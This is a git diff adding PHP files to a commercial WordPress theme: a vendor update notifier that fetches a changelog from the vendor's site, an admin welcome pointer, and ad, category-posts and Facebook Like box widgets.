$mnm_shortcode_names = str_replace('_', ' ' ,$mnm_shortcode_name);
$mnm_shortcodenames = ucwords($mnm_shortcode_names);
echo '<option value="' . $mnm_shortcodekey . '" >' . $mnm_shortcodenames.'</option>' . "\n";
echo '</optgroup>';
$i++;
}
}
}
?>
</select></td>
</tr>
</table>
</div>
</div>
</div>
<div class="mceActionPanel">
<div style="float: left">
<input type="button" id="cancel" name="cancel" value="Cancel" onClick="tinyMCEPopup.close();" />
</div>
<div style="float: right">
<input type="submit" id="insert" name="insert" value="Insert" onClick="mnmshortcodesubmit();" />
</div>
</div>
</form>
</body>
</html>

1050
functions/twitteroauth.php Normal file

File diff suppressed because it is too large Load Diff

View File

@@ -0,0 +1,84 @@
<?php
function mts_update_notifier_menu() {
$xml = get_latest_theme_version(43200); // Cache the remote call for 43200 seconds (12 hours)
$theme_data = wp_get_theme(); // Get the current version from style.css
if(version_compare($theme_data['Version'], $xml->latest) == -1) {
add_submenu_page( 'themes.php', __('Theme Update','mythemeshop').'<span class="update-plugins count-1"><span class="update-count">'.__('1','mythemeshop').'</span></span>', __('Theme Update','mythemeshop').'<span class="update-plugins count-1"><span class="update-count">'.__('1','mythemeshop').'</span></span>', 'manage_options', 'mythemeshop-updates', 'mts_update_notifier');
}
}
add_action('admin_menu', 'mts_update_notifier_menu');
function mts_update_notifier() {
$xml = get_latest_theme_version(43200); // Cache the remote call for 43200 seconds (12 hours)
$theme_data = wp_get_theme(); // Get the current version from style.css ?>
<style>
h3.title {margin: 30px 0 0 0; padding: 30px 0 0 0; border-top: 1px solid #ddd;}
</style>
<div class="wrap">
<h2><?php echo $theme_data['Name']; ?> <?php _e('Theme Updates','mythemeshop'); ?></h2>
<div id="message" class="updated below-h2"><p><strong><?php _e('There is a new version of the theme available.','mythemeshop'); ?></strong> <?php _e('You have installed version','mythemeshop'); ?> <?php echo $theme_data['Version']; ?>. <?php _e('Update to version','mythemeshop'); ?> <?php echo $xml->latest; ?>.</p></div>
<img style="float: left; margin: 0 20px 20px 0; max-width: 300px;" src="<?php echo get_bloginfo( 'template_url' ) . '/screenshot.png'; ?>" />
<div id="instructions">
<h3><?php _e('Update Download and Instructions','mythemeshop'); ?></h3>
<p><strong><?php _e('Please note','mythemeshop'); ?>:</strong> <?php _e('make a backup</strong> of the Theme inside your WordPress installation folder','mythemeshop'); ?> <strong>/wp-content/themes/</strong></p>
<p><?php _e('To update the Theme, login to your','mythemeshop'); ?> <a href="https://mythemeshop.com/go/member" target="_blank"><?php _e('MyThemeShop Account','mythemeshop'); ?></a>, <?php _e('head over to your <strong>Active Resources</strong> section and re-download the theme like you did when you bought it.','mythemeshop'); ?></p>
<p><?php _e('Extract the zip\'s contents, look for the extracted theme folder, and after you have all the new files upload them using FTP to the','mythemeshop'); ?> <strong>/wp-content/themes/<?php echo strtolower($theme_data['Name']); ?>/</strong> <?php _e('folder overwriting the old ones (this is why it\'s important to backup any changes you\'ve made to the theme files)','mythemeshop'); ?>.</p>
<p><?php _e('If you didn\'t make any changes to the theme files, you are free to overwrite them with the new ones without the risk of losing theme settings, pages, posts, etc, and backwards compatibility is guaranteed.','mythemeshop'); ?></p>
</div>
<div class="clear"></div>
<h3 class="title"><?php _e('Changelog','mythemeshop'); ?></h3>
<?php echo $xml->changelog; ?>
</div>
<?php }
function get_latest_theme_version($interval) {
// remote xml file location
$notifier_file_url = 'http://mythemeshop.com/changelog/sensational.xml';
$db_cache_field = 'contempo-notifier-cache';
$db_cache_field_last_updated = 'contempo-notifier-last-updated';
$last = get_option( $db_cache_field_last_updated );
$now = time();
// check the cache
if ( !$last || (( $now - $last ) > $interval) ) {
// cache doesn't exist, or is old, so refresh it
if( function_exists('curl_init') ) { // if cURL is available, use it...
$ch = curl_init($notifier_file_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_TIMEOUT, 10);
$cache = curl_exec($ch);
curl_close($ch);
} else {
$cache = file_get_contents($notifier_file_url); // ...if not, use the common file_get_contents()
}
if ($cache) {
// we got good results
update_option( $db_cache_field, $cache );
update_option( $db_cache_field_last_updated, time() );
}
// read from the cache file
$notifier_data = get_option( $db_cache_field );
}
else {
// cache file is fresh enough, so read from it
$notifier_data = get_option( $db_cache_field );
}
$xml = simplexml_load_string($notifier_data);
return $xml;
}
?>

View File

@@ -0,0 +1,47 @@
<?php
add_action( 'admin_enqueue_scripts', 'mts_sensational_pointer_header' );
function mts_sensational_pointer_header() {
$enqueue = false;
$dismissed = explode( ',', (string) get_user_meta( get_current_user_id(), 'dismissed_wp_pointers', true ) );
if ( ! in_array( 'mts_sensational_pointer', $dismissed ) ) {
$enqueue = true;
add_action( 'admin_print_footer_scripts', 'mts_sensational_pointer_footer' );
}
if ( $enqueue ) {
// Enqueue pointers
wp_enqueue_script( 'wp-pointer' );
wp_enqueue_style( 'wp-pointer' );
}
}
function mts_sensational_pointer_footer() {
$pointer_content = '<h3>Awesomeness!</h3>';
$pointer_content .= '<p>You have just Installed Sensational WordPress Theme by MyThemeShop.</p>';
$pointer_content .= '<p>You can Trigger The Awesomeness using Amazing Option Panel in <b>Theme Options</b>.</p>';
$pointer_content .= '<p>If you face any problem, head over to <a href="http://mythemeshop.com/support">Knowledge Base</a></p>';
?>
<script type="text/javascript">// <![CDATA[
jQuery(document).ready(function($) {
$('#menu-appearance').pointer({
content: '<?php echo $pointer_content; ?>',
position: {
edge: 'left',
align: 'center'
},
close: function() {
$.post( ajaxurl, {
pointer: 'mts_sensational_pointer',
action: 'dismiss-wp-pointer'
});
}
}).pointer('open');
});
// ]]></script>
<?php
}
?>

291
functions/widget-ad125.php Normal file
View File

@@ -0,0 +1,291 @@
<?php
/*-----------------------------------------------------------------------------------
Plugin Name: MyThemeShop 125x125 Ad Widget
Description: A widget for 125 x 125 ad unit (maximum 6 ads)
Version: 1.0
-----------------------------------------------------------------------------------*/
// load widget
add_action( 'widgets_init', 'mts_ads_widgets' );
// Register widget
function mts_ads_widgets() {
register_widget( 'mts_ad_widget' );
}
// Widget class
class mts_ad_widget extends WP_Widget {
/*-----------------------------------------------------------------------------------*/
/* Widget Setup
/*-----------------------------------------------------------------------------------*/
public function __construct() {
// Widget settings
$widget_ops = array (
'classname' => 'mts_ad_widget',
'description' => __('A widget for 125 x 125 ad unit (max 6 ads)', 'mythemeshop')
);
// Widget control settings
$control_ops = array (
'width' => 300,
'height' => 350,
'id_base' => 'mts_ad_widget'
);
// Create the widget
parent::__construct( 'mts_ad_widget', __('MyThemeShop: 125x125 Ads', 'mythemeshop'), $widget_ops, $control_ops );
}
/*-----------------------------------------------------------------------------------*/
/* Display Widget
/*-----------------------------------------------------------------------------------*/
function widget( $args, $instance ) {
extract( $args );
// variables from the widget settings
$title = apply_filters('widget_title', $instance['title'] );
$ad1 = $instance['ad1'];
$ad2 = $instance['ad2'];
$ad3 = $instance['ad3'];
$ad4 = $instance['ad4'];
$ad5 = $instance['ad5'];
$ad6 = $instance['ad6'];
$link1 = $instance['link1'];
$link2 = $instance['link2'];
$link3 = $instance['link3'];
$link4 = $instance['link4'];
$link5 = $instance['link5'];
$link6 = $instance['link6'];
$randomize = $instance['random'];
// Before widget (defined by theme functions file)
echo $before_widget;
// Display the widget title if one was input
if ( $title )
echo $before_title . $title . $after_title;
// Randomize ads order in a new array
$ads = array();
// Display a containing div
echo '<div class="ad-125">';
echo '<ul>';
// Display Ad 1
if ( $link1 )
$ads[] = '<li class="oddad"><a href="' . $link1 . '"><img src="' . $ad1 . '" width="125" height="125" alt="" /></a></li>';
elseif ( $ad1 )
$ads[] = '<li class="oddad"><img src="' . $ad1 . '" width="125" height="125" alt="" /></li>';
// Display Ad 2
if ( $link2 )
$ads[] = '<li class="evenad"><a href="' . $link2 . '"><img src="' . $ad2 . '" width="125" height="125" alt="" /></a></li>';
elseif ( $ad2 )
$ads[] = '<li class="evenad"><img src="' . $ad2 . '" width="125" height="125" alt="" /></li>';
// Display Ad 3
if ( $link3 )
$ads[] = '<li class="oddad"><a href="' . $link3 . '"><img src="' . $ad3 . '" width="125" height="125" alt="" /></a></li>';
elseif ( $ad3 )
$ads[] = '<li class="oddad"><img src="' . $ad3 . '" width="125" height="125" alt="" /></li>';
// Display Ad 4
if ( $link4 )
$ads[] = '<li class="evenad"><a href="' . $link4 . '"><img src="' . $ad4 . '" width="125" height="125" alt="" /></a></li>';
elseif ( $ad4 )
$ads[] = '<li class="evenad"><img src="' . $ad4 . '" width="125" height="125" alt="" /></li>';
// Display Ad 5
if ( $link5 )
$ads[] = '<li class="oddad"><a href="' . $link5 . '"><img src="' . $ad5 . '" width="125" height="125" alt="" /></a></li>';
elseif ( $ad5 )
$ads[] = '<li class="oddad"><img src="' . $ad5 . '" width="125" height="125" alt="" /></li>';
// Display Ad 6
if ( $link6 )
$ads[] = '<li class="evenad"><a href="' . $link6 . '"><img src="' . $ad6 . '" width="125" height="125" alt="" /></a></li>';
elseif ( $ad6 )
$ads[] = '<li class="evenad"><img src="' . $ad6 . '" width="125" height="125" alt="" /></li>';
// Randomize order if selected
if ($randomize){
shuffle($ads);
}
//Display ads
foreach($ads as $ad){
echo $ad;
}
echo '</ul>';
echo '</div>';
// After widget (defined by theme functions file)
echo $after_widget;
}
/*-----------------------------------------------------------------------------------*/
/* Update Widget
/*-----------------------------------------------------------------------------------*/
function update( $new_instance, $old_instance ) {
$instance = $old_instance;
// Strip tags to remove HTML (important for text inputs)
$instance['title'] = strip_tags( $new_instance['title'] );
// No need to strip tags
$instance['ad1'] = $new_instance['ad1'];
$instance['ad2'] = $new_instance['ad2'];
$instance['ad3'] = $new_instance['ad3'];
$instance['ad4'] = $new_instance['ad4'];
$instance['ad5'] = $new_instance['ad5'];
$instance['ad6'] = $new_instance['ad6'];
$instance['link1'] = $new_instance['link1'];
$instance['link2'] = $new_instance['link2'];
$instance['link3'] = $new_instance['link3'];
$instance['link4'] = $new_instance['link4'];
$instance['link5'] = $new_instance['link5'];
$instance['link6'] = $new_instance['link6'];
$instance['random'] = $new_instance['random'];
return $instance;
}
/*-----------------------------------------------------------------------------------*/
/* Widget Settings (Displays the widget settings controls on the widget panel)
/*-----------------------------------------------------------------------------------*/
function form( $instance ) {
// Set up some default widget settings
$defaults = array(
'title' => 'Our Sponsors',
'ad1' => get_template_directory_uri()."/images/125x125.gif",
'link1' => 'http://mythemeshop.com/',
'ad2' => get_template_directory_uri()."/images/125x125.gif",
'link2' => 'http://mythemeshop.com/',
'ad3' => '',
'link3' => '',
'ad4' => '',
'link4' => '',
'ad5' => '',
'link5' => '',
'ad6' => '',
'link6' => '',
'random' => false
);
$instance = wp_parse_args( (array) $instance, $defaults ); ?>
<!-- Widget Title: Text Input -->
<p>
<label for="<?php echo $this->get_field_id( 'title' ); ?>"><?php _e('Title:', 'mythemeshop') ?></label>
<input type="text" class="widefat" id="<?php echo $this->get_field_id( 'title' ); ?>" name="<?php echo $this->get_field_name( 'title' ); ?>" value="<?php echo $instance['title']; ?>" />
</p>
<!-- Ad 1 image url: Text Input -->
<p>
<label for="<?php echo $this->get_field_id( 'ad1' ); ?>"><?php _e('Ad 1 image url:', 'mythemeshop') ?></label>
<input type="text" class="widefat" id="<?php echo $this->get_field_id( 'ad1' ); ?>" name="<?php echo $this->get_field_name( 'ad1' ); ?>" value="<?php echo $instance['ad1']; ?>" />
</p>
<!-- Ad 1 link url: Text Input -->
<p>
<label for="<?php echo $this->get_field_id( 'link1' ); ?>"><?php _e('Ad 1 link url:', 'mythemeshop') ?></label>
<input type="text" class="widefat" id="<?php echo $this->get_field_id( 'link1' ); ?>" name="<?php echo $this->get_field_name( 'link1' ); ?>" value="<?php echo $instance['link1']; ?>" />
</p>
<!-- Ad 2 image url: Text Input -->
<p>
<label for="<?php echo $this->get_field_id( 'ad2' ); ?>"><?php _e('Ad 2 image url:', 'mythemeshop') ?></label>
<input type="text" class="widefat" id="<?php echo $this->get_field_id( 'ad2' ); ?>" name="<?php echo $this->get_field_name( 'ad2' ); ?>" value="<?php echo $instance['ad2']; ?>" />
</p>
<!-- Ad 2 link url: Text Input -->
<p>
<label for="<?php echo $this->get_field_id( 'link2' ); ?>"><?php _e('Ad 2 link url:', 'mythemeshop') ?></label>
<input type="text" class="widefat" id="<?php echo $this->get_field_id( 'link2' ); ?>" name="<?php echo $this->get_field_name( 'link2' ); ?>" value="<?php echo $instance['link2']; ?>" />
</p>
<!-- Ad 3 image url: Text Input -->
<p>
<label for="<?php echo $this->get_field_id( 'ad3' ); ?>"><?php _e('Ad 3 image url:', 'mythemeshop') ?></label>
<input type="text" class="widefat" id="<?php echo $this->get_field_id( 'ad3' ); ?>" name="<?php echo $this->get_field_name( 'ad3' ); ?>" value="<?php echo $instance['ad3']; ?>" />
</p>
<!-- Ad 3 link url: Text Input -->
<p>
<label for="<?php echo $this->get_field_id( 'link3' ); ?>"><?php _e('Ad 3 link url:', 'mythemeshop') ?></label>
<input type="text" class="widefat" id="<?php echo $this->get_field_id( 'link3' ); ?>" name="<?php echo $this->get_field_name( 'link3' ); ?>" value="<?php echo $instance['link3']; ?>" />
</p>
<!-- Ad 4 image url: Text Input -->
<p>
<label for="<?php echo $this->get_field_id( 'ad4' ); ?>"><?php _e('Ad 4 image url:', 'mythemeshop') ?></label>
<input type="text" class="widefat" id="<?php echo $this->get_field_id( 'ad4' ); ?>" name="<?php echo $this->get_field_name( 'ad4' ); ?>" value="<?php echo $instance['ad4']; ?>" />
</p>
<!-- Ad 4 link url: Text Input -->
<p>
<label for="<?php echo $this->get_field_id( 'link4' ); ?>"><?php _e('Ad 4 link url:', 'mythemeshop') ?></label>
<input type="text" class="widefat" id="<?php echo $this->get_field_id( 'link4' ); ?>" name="<?php echo $this->get_field_name( 'link4' ); ?>" value="<?php echo $instance['link4']; ?>" />
</p>
<!-- Ad 5 image url: Text Input -->
<p>
<label for="<?php echo $this->get_field_id( 'ad5' ); ?>"><?php _e('Ad 5 image url:', 'mythemeshop') ?></label>
<input type="text" class="widefat" id="<?php echo $this->get_field_id( 'ad5' ); ?>" name="<?php echo $this->get_field_name( 'ad5' ); ?>" value="<?php echo $instance['ad5']; ?>" />
</p>
<!-- Ad 5 link url: Text Input -->
<p>
<label for="<?php echo $this->get_field_id( 'link5' ); ?>"><?php _e('Ad 5 link url:', 'mythemeshop') ?></label>
<input type="text" class="widefat" id="<?php echo $this->get_field_id( 'link5' ); ?>" name="<?php echo $this->get_field_name( 'link5' ); ?>" value="<?php echo $instance['link5']; ?>" />
</p>
<!-- Ad 6 image url: Text Input -->
<p>
<label for="<?php echo $this->get_field_id( 'ad6' ); ?>"><?php _e('Ad 6 image url:', 'mythemeshop') ?></label>
<input type="text" class="widefat" id="<?php echo $this->get_field_id( 'ad6' ); ?>" name="<?php echo $this->get_field_name( 'ad6' ); ?>" value="<?php echo $instance['ad6']; ?>" />
</p>
<!-- Ad 6 link url: Text Input -->
<p>
<label for="<?php echo $this->get_field_id( 'link6' ); ?>"><?php _e('Ad 6 link url:', 'mythemeshop') ?></label>
<input type="text" class="widefat" id="<?php echo $this->get_field_id( 'link6' ); ?>" name="<?php echo $this->get_field_name( 'link6' ); ?>" value="<?php echo $instance['link6']; ?>" />
</p>
<!-- Randomize? -->
<p>
<label for="<?php echo $this->get_field_id( 'random' ); ?>"><?php _e('Randomize ads order?', 'mythemeshop') ?></label>
<?php if ($instance['random']){ ?>
<input type="checkbox" id="<?php echo $this->get_field_id( 'random' ); ?>" name="<?php echo $this->get_field_name( 'random' ); ?>" checked="checked" />
<?php } else { ?>
<input type="checkbox" id="<?php echo $this->get_field_id( 'random' ); ?>" name="<?php echo $this->get_field_name( 'random' ); ?>" />
<?php } ?>
</p>
<?php
}
}
?>

137
functions/widget-ad300.php Normal file
View File

@@ -0,0 +1,137 @@
<?php
/*-----------------------------------------------------------------------------------
Plugin Name: MyThemeShop 300x250 Ad Widget
Description: A widget for 300 x 250 ad (Single banner)
Version: 1.0
-----------------------------------------------------------------------------------*/
// load widget
add_action( 'widgets_init', 'mts_ad_300_widgets' );
// Register widget
function mts_ad_300_widgets() {
register_widget( 'mts_ad_300_widget' );
}
// Widget class
class mts_ad_300_widget extends WP_Widget {
/*-----------------------------------------------------------------------------------*/
/* Widget Setup
/*-----------------------------------------------------------------------------------*/
public function __construct() {
// Widget settings
$widget_ops = array(
'classname' => 'mts_ad_300_widget',
'description' => __('A widget for 300 x 250 ad (Single banner)', 'mythemeshop')
);
// Widget control settings
$control_ops = array(
'width' => 300,
'height' => 350,
'id_base' => 'mts_ad_300_widget'
);
// Create the widget
parent::__construct( 'mts_ad_300_widget', __('MyThemeShop: 300x250 Ad', 'mythemeshop'), $widget_ops, $control_ops );
}
/*-----------------------------------------------------------------------------------*/
/* Display Widget
/*-----------------------------------------------------------------------------------*/
function widget( $args, $instance ) {
extract( $args );
// Variables from the widget settings
$title = apply_filters('widget_title', $instance['title'] );
$ad = $instance['ad'];
$link = $instance['link'];
// Before widget (defined by theme functions file)
echo $before_widget;
// Display the widget title if one was input
if ( $title )
echo $before_title . $title . $after_title;
// Display a containing div
echo '<div class="ad-300">';
// Display Ad
if ( $link )
echo '<a href="' . $link . '"><img src="' . $ad . '" width="300" height="250" alt="" /></a>';
elseif ( $ad )
echo '<img src="' . $ad . '" width="300" height="250" alt="" />';
echo '</div>';
// After widget (defined by theme functions file)
echo $after_widget;
}
/*-----------------------------------------------------------------------------------*/
/* Update Widget
/*-----------------------------------------------------------------------------------*/
function update( $new_instance, $old_instance ) {
$instance = $old_instance;
// Strip tags to remove HTML (important for text inputs)
$instance['title'] = strip_tags( $new_instance['title'] );
// No need to strip tags
$instance['ad'] = $new_instance['ad'];
$instance['link'] = $new_instance['link'];
return $instance;
}
/*-----------------------------------------------------------------------------------*/
/* Widget Settings (Displays the widget settings controls on the widget panel)
/*-----------------------------------------------------------------------------------*/
function form( $instance ) {
// Set up some default widget settings
$defaults = array(
'title' => '',
'ad' => get_template_directory_uri()."/images/300x250.gif",
'link' => 'http://mythemeshop.com/',
);
$instance = wp_parse_args( (array) $instance, $defaults ); ?>
<!-- Widget Title: Text Input -->
<p>
<label for="<?php echo $this->get_field_id( 'title' ); ?>"><?php _e('Title:', 'mythemeshop') ?></label>
<input type="text" class="widefat" id="<?php echo $this->get_field_id( 'title' ); ?>" name="<?php echo $this->get_field_name( 'title' ); ?>" value="<?php echo $instance['title']; ?>" />
</p>
<!-- Ad image url: Text Input -->
<p>
<label for="<?php echo $this->get_field_id( 'ad' ); ?>"><?php _e('Ad image url:', 'mythemeshop') ?></label>
<input type="text" class="widefat" id="<?php echo $this->get_field_id( 'ad' ); ?>" name="<?php echo $this->get_field_name( 'ad' ); ?>" value="<?php echo $instance['ad']; ?>" />
</p>
<!-- Ad link url: Text Input -->
<p>
<label for="<?php echo $this->get_field_id( 'link' ); ?>"><?php _e('Ad link url:', 'mythemeshop') ?></label>
<input type="text" class="widefat" id="<?php echo $this->get_field_id( 'link' ); ?>" name="<?php echo $this->get_field_name( 'link' ); ?>" value="<?php echo $instance['link']; ?>" />
</p>
<?php
}
}
?>

View File

@@ -0,0 +1,53 @@
<?php
/*-----------------------------------------------------------------------------------
Plugin Name: MyThemeShop After First Paragraph Ad Widget
Description: A widget area that displays after the first paragraph in posts/pages
Version: 1.0
-----------------------------------------------------------------------------------*/
// Register widget area
function mts_register_after_first_paragraph_widget() {
register_sidebar(array(
"name" => __("After First Paragraph", "mythemeshop"),
"id" => "after-first-paragraph",
"description" => __("Widget area that appears after the first paragraph in posts and pages.", "mythemeshop"),
"before_widget" => "<div class=\"after-first-paragraph-widget\">",
"after_widget" => "</div>",
"before_title" => "<h3 class=\"widget-title\">",
"after_title" => "</h3>",
));
}
add_action("widgets_init", "mts_register_after_first_paragraph_widget");
// Insert widget content after first paragraph
function mts_insert_after_first_paragraph($content) {
// Only run on single posts and pages
if (!is_single() && !is_page()) {
return $content;
}
// Check if widget area has active widgets
if (!is_active_sidebar("after-first-paragraph")) {
return $content;
}
// Get the widget content
ob_start();
dynamic_sidebar("after-first-paragraph");
$widget_content = ob_get_clean();
// Find the first paragraph
$closing_p = "</p>";
$paragraphs = explode($closing_p, $content);
// Insert widget after first paragraph if content has paragraphs
if (count($paragraphs) > 1) {
$paragraphs[0] .= $closing_p . $widget_content;
$content = implode($closing_p, $paragraphs);
}
return $content;
}
add_filter("the_content", "mts_insert_after_first_paragraph");

View File

@@ -0,0 +1,172 @@
<?php
/*-----------------------------------------------------------------------------------
Plugin Name: MyThemeShop Category Posts
Version: 2.0
-----------------------------------------------------------------------------------*/
class single_category_posts_widget extends WP_Widget {
public function __construct() {
parent::__construct(
'single_category_posts_widget',
__('MyThemeShop: Category Posts','mythemeshop'),
array( 'description' => __( 'Display the most recent posts from a single category','mythemeshop' ) )
);
}
public function form( $instance ) {
$defaults = array(
'comment_num' => 1,
'date' => 1,
'show_thumb1' => 1,
'show_excerpt' => 1,
'excerpt_length' => 10
);
$instance = wp_parse_args((array) $instance, $defaults);
$title = isset( $instance[ 'title' ] ) ? $instance[ 'title' ] : __( 'Featured Category','mythemeshop' );
$cat = isset( $instance[ 'cat' ] ) ? intval( $instance[ 'cat' ] ) : 0;
$qty = isset( $instance[ 'qty' ] ) ? intval( $instance[ 'qty' ] ) : 5;
$comment_num = isset( $instance[ 'comment_num' ] ) ? intval( $instance[ 'comment_num' ] ) : 1;
$date = isset( $instance[ 'date' ] ) ? intval( $instance[ 'date' ] ) : 1;
$show_thumb1 = isset( $instance[ 'show_thumb1' ] ) ? intval( $instance[ 'show_thumb1' ] ) : 1;
$show_excerpt = isset( $instance[ 'show_excerpt' ] ) ? esc_attr( $instance[ 'show_excerpt' ] ) : 1;
$excerpt_length = isset( $instance[ 'excerpt_length' ] ) ? intval( $instance[ 'excerpt_length' ] ) : 10;
?>
<p>
<label for="<?php echo $this->get_field_id( 'title' ); ?>"><?php _e( 'Title:','mythemeshop' ); ?></label>
<input class="widefat" id="<?php echo $this->get_field_id( 'title' ); ?>" name="<?php echo $this->get_field_name( 'title' ); ?>" type="text" value="<?php echo esc_attr( $title ); ?>" />
</p>
<p>
<label for="<?php echo $this->get_field_id( 'cat' ); ?>"><?php _e( 'Category:','mythemeshop' ); ?></label>
<?php wp_dropdown_categories( Array(
'orderby' => 'ID',
'order' => 'ASC',
'show_count' => 1,
'hide_empty' => 1,
'hide_if_empty' => true,
'echo' => 1,
'selected' => $cat,
'hierarchical' => 1,
'name' => $this->get_field_name( 'cat' ),
'id' => $this->get_field_id( 'cat' ),
'taxonomy' => 'category',
) ); ?>
</p>
<p>
<label for="<?php echo $this->get_field_id( 'qty' ); ?>"><?php _e( 'Number of Posts to show','mythemeshop' ); ?></label>
<input id="<?php echo $this->get_field_id( 'qty' ); ?>" name="<?php echo $this->get_field_name( 'qty' ); ?>" type="number" min="1" step="1" value="<?php echo $qty; ?>" />
</p>
<p>
<label for="<?php echo $this->get_field_id("show_thumb1"); ?>">
<input type="checkbox" class="checkbox" id="<?php echo $this->get_field_id("show_thumb1"); ?>" name="<?php echo $this->get_field_name("show_thumb1"); ?>" value="1" <?php if (isset($instance['show_thumb1'])) { checked( 1, $instance['show_thumb1'], true ); } ?> />
<?php _e( 'Show Thumbnails', 'mythemeshop'); ?>
</label>
</p>
<p>
<label for="<?php echo $this->get_field_id("date"); ?>">
<input type="checkbox" class="checkbox" id="<?php echo $this->get_field_id("date"); ?>" name="<?php echo $this->get_field_name("date"); ?>" value="1" <?php checked( 1, $instance['date'], true ); ?> />
<?php _e( 'Show post date', 'mythemeshop'); ?>
</label>
</p>
<p>
<label for="<?php echo $this->get_field_id("comment_num"); ?>">
<input type="checkbox" class="checkbox" id="<?php echo $this->get_field_id("comment_num"); ?>" name="<?php echo $this->get_field_name("comment_num"); ?>" value="1" <?php checked( 1, $instance['comment_num'], true ); ?> />
<?php _e( 'Show number of comments', 'mythemeshop'); ?>
</label>
</p>
<p>
<label for="<?php echo $this->get_field_id("show_excerpt"); ?>">
<input type="checkbox" class="checkbox" id="<?php echo $this->get_field_id("show_excerpt"); ?>" name="<?php echo $this->get_field_name("show_excerpt"); ?>" value="1" <?php checked( 1, $instance['show_excerpt'], true ); ?> />
<?php _e( 'Show excerpt', 'mythemeshop'); ?>
</label>
</p>
<p>
<label for="<?php echo $this->get_field_id( 'excerpt_length' ); ?>"><?php _e( 'Excerpt Length:', 'mythemeshop' ); ?>
<input id="<?php echo $this->get_field_id( 'excerpt_length' ); ?>" name="<?php echo $this->get_field_name( 'excerpt_length' ); ?>" type="number" min="1" step="1" value="<?php echo $excerpt_length; ?>" />
</label>
</p>
<?php
}
public function update( $new_instance, $old_instance ) {
$instance = array();
$instance['title'] = strip_tags( $new_instance['title'] );
$instance['cat'] = intval( $new_instance['cat'] );
$instance['qty'] = intval( $new_instance['qty'] );
$instance['comment_num'] = intval( $new_instance['comment_num'] );
$instance['date'] = intval( $new_instance['date'] );
$instance['show_thumb1'] = intval( $new_instance['show_thumb1'] );
$instance['show_excerpt'] = intval( $new_instance['show_excerpt'] );
$instance['excerpt_length'] = intval( $new_instance['excerpt_length'] );
return $instance;
}
public function widget( $args, $instance ) {
extract( $args );
$title = apply_filters( 'widget_title', $instance['title'] );
$cat = $instance['cat'];
$comment_num = $instance['comment_num'];
$date = $instance['date'];
$qty = (int) $instance['qty'];
$show_thumb1 = (int) $instance['show_thumb1'];
$show_excerpt = $instance['show_excerpt'];
$excerpt_length = $instance['excerpt_length'];
echo $before_widget;
if ( ! empty( $title ) ) echo $before_title . $title . $after_title;
echo self::get_cat_posts( $cat, $qty, $comment_num, $date, $show_thumb1, $show_excerpt, $excerpt_length );
echo $after_widget;
}
public function get_cat_posts( $cat, $qty, $comment_num, $date, $show_thumb1, $show_excerpt, $excerpt_length ) {
$posts = new WP_Query(
"cat=".$cat."&orderby=date&order=DESC&posts_per_page=".$qty
);
echo '<ul class="category-posts">';
while ( $posts->have_posts() ) { $posts->the_post(); ?>
<li>
<a href="<?php the_permalink(); ?>">
<?php if ( $show_thumb1 == 1 ) : ?>
<?php if(has_post_thumbnail()): ?>
<?php the_post_thumbnail('widgetthumb',array('title' => '')); ?>
<?php else: ?>
<img src="<?php echo get_template_directory_uri(); ?>/images/smallthumb.png" alt="<?php the_title(); ?>" class="wp-post-image" />
<?php endif; ?>
<?php endif; ?>
<?php the_title(); ?>
</a>
<div class="meta">
<?php if ( $date == 1 ) : ?>
<?php the_time('F j, Y'); ?>
<?php endif; ?>
<?php if ( $date == 1 && $comment_num == 1) : ?>
&bull;
<?php endif; ?>
<?php if ( $comment_num == 1 ) : ?>
<?php echo comments_number(__('No Comment','mythemeshop'), __('One Comment','mythemeshop'), '<span class="comm">%</span> '.__('Comments','mythemeshop'));?>
<?php endif; ?>
</div> <!--end .entry-meta-->
<?php if ( $show_excerpt == 1 ) : ?>
<p>
<?php echo mts_excerpt($excerpt_length); ?>
</p>
<?php endif; ?>
</li>
<?php }
echo '</ul>'."\r\n";
}
}
//add_action( 'widgets_init', create_function( '', 'register_widget( "single_category_posts_widget" );' ) );
add_action('widgets_init', function(){return register_widget("single_category_posts_widget");});

View File

@@ -0,0 +1,135 @@
<?php
/*-----------------------------------------------------------------------------------
Plugin Name: MyThemeShop Facebook Like Box
Description: A widget for displaying Facebook Like Box.
Version: 1.0
-----------------------------------------------------------------------------------*/
add_action('widgets_init', 'facebook_like_load_widgets');
function facebook_like_load_widgets()
{
register_widget('Facebook_Like_Widget');
}
/*
class Facebook_Like_Widget extends WP_Widget {
function Facebook_Like_Widget()
{
$widget_ops = array('classname' => 'facebook_like', 'description' => __('Add Facebook Like Box.','mythemeshop'));
$control_ops = array('id_base' => 'facebook-like-widget');
parent::__construct('facebook-like-widget', __('MyThemeShop: FB Like Box','mythemeshop'), $widget_ops, $control_ops);
}
*/
class Facebook_Like_Widget extends WP_Widget {
public function __construct() {
$widget_ops = array(
'classname' => 'facebook_like_widget',
'description' => __('Display a Facebook Like Box.', 'your-text-domain')
);
parent::__construct('facebook_like_widget', __('Facebook Like Widget', 'your-text-domain'), $widget_ops);
}
function widget($args, $instance)
{
extract($args);
$title = apply_filters('widget_title', $instance['title']);
$page_url = $instance['page_url'];
$width = $instance['width'];
$color_scheme = $instance['color_scheme'];
$show_faces = isset($instance['show_faces']) ? 'true' : 'false';
$show_stream = isset($instance['show_stream']) ? 'true' : 'false';
$show_header = isset($instance['show_header']) ? 'true' : 'false';
$height = '65';
if($show_faces == 'true') {
$height = '238';
}
if($show_stream == 'true') {
$height = '600';
}
if($show_header == 'true') {
$height = '600';
}
echo $before_widget;
if($title) {
echo $before_title.$title.$after_title;
}
if($page_url): ?>
<iframe src="http://www.facebook.com/plugins/likebox.php?href=<?php echo urlencode($page_url); ?>&amp;width=<?php echo $width; ?>&amp;colorscheme=<?php echo $color_scheme; ?>&amp;show_faces=<?php echo $show_faces; ?>&amp;stream=<?php echo $show_stream; ?>&amp;header=<?php echo $show_header; ?>&amp;height=<?php echo $height; ?>" scrolling="no" frameborder="0" style="border:none; overflow:hidden; width:<?php echo $width; ?>px; height: <?php echo $height; ?>px;" allowTransparency="true"></iframe>
<?php endif;
echo $after_widget;
}
function update($new_instance, $old_instance)
{
$instance = $old_instance;
$instance['title'] = strip_tags($new_instance['title']);
$instance['page_url'] = $new_instance['page_url'];
$instance['width'] = $new_instance['width'];
$instance['color_scheme'] = $new_instance['color_scheme'];
$instance['show_faces'] = $new_instance['show_faces'];
$instance['show_stream'] = $new_instance['show_stream'];
$instance['show_header'] = $new_instance['show_header'];
return $instance;
}
function form($instance)
{
